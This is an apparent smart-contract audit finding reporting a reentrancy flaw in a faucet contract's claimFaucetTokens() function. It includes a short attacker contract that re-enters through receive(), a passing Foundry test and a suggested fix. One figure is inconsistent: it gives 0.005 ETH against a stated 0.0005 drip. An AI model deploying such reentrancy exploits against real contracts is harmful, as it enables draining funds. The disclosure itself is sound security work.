RaiseBoxFaucet::claimFaucetTokens allows back-to-back claims bypassing CLAIM_COOLDOWN
Description
The claimFaucetTokens() function is supposed to hand out faucet tokens each time and drip 0.0005 Sepolia ETH only on a user’s first claim. In theory it should follow the Checks-Effects-Interactions pattern and update lastClaimTime and dailyClaimCount before making external calls.
Instead, the function sends ETH via call before those state updates. A malicious contract can re-enter from the receive() hook while lastClaimTime and dailyClaimCount still hold their old values, which lets the attacker skip the 3-day cooldown and exceed the daily claim limit.
function claimFaucetTokens() public {
....
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
@> lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Risk
Likelihood: High
-
A public function that sends ETH via call with an unprotected state makes the reentrancy path obvious to anyone reading the code.
-
Implementing the exploit only requires a contract with a receive() that calls claimFaucetTokens() again; this can be done in a few lines.
Impact: High
Proof of Concept
Deploy the ClaimTokensReentrancy contract and set the faucet address in the constructor.
Call attack(). The first execution passes all checks and transfers the ETH drip.
The attack contract’s receive() fires on the ETH transfer and re-enters claimFaucetTokens() while lastClaimTime and dailyClaimCount are stale.
The attacking contract ends up with 0.005 Sepolia ETH and two times faucetDrip within a single transaction.
interface IFaucet {
function claimFaucetTokens() external;
}
contract ClaimTokensReentrancy {
address public faucet;
constructor(address faucet_) {
faucet = faucet_;
}
function attack() external {
IFaucet(faucet).claimFaucetTokens();
}
receive() external payable {
IFaucet(faucet).claimFaucetTokens();
}
}
function test_ClaimTokensReentrancy() public {
ClaimTokensReentrancy reentrancy = new ClaimTokensReentrancy(address(raiseBoxFaucet));
reentrancy.attack();
assertEq(address(reentrancy).balance, raiseBoxFaucet.sepEthAmountToDrip());
assertEq(
raiseBoxFaucet.balanceOf(address(reentrancy)),
raiseBoxFaucet.faucetDrip() * 2
);
}
Ran 1 test for test/RaiseBoxFaucet.t.sol:TestRaiseBoxFaucet
[PASS] test_ClaimTokensReentrancy() (gas: 379065)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 20.80ms (2.34ms CPU time)
Recommended Mitigation
Move the state updates before the external call and consider adding a nonReentrant guard for extra safety.
function claimFaucetTokens() public {
...
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
+ lastClaimTime[faucetClaimer] = block.timestamp;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
...
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
...
}
_transfer(address(this), faucetClaimer, faucetDrip);
}
- lastClaimTime[faucetClaimer] = block.timestamp;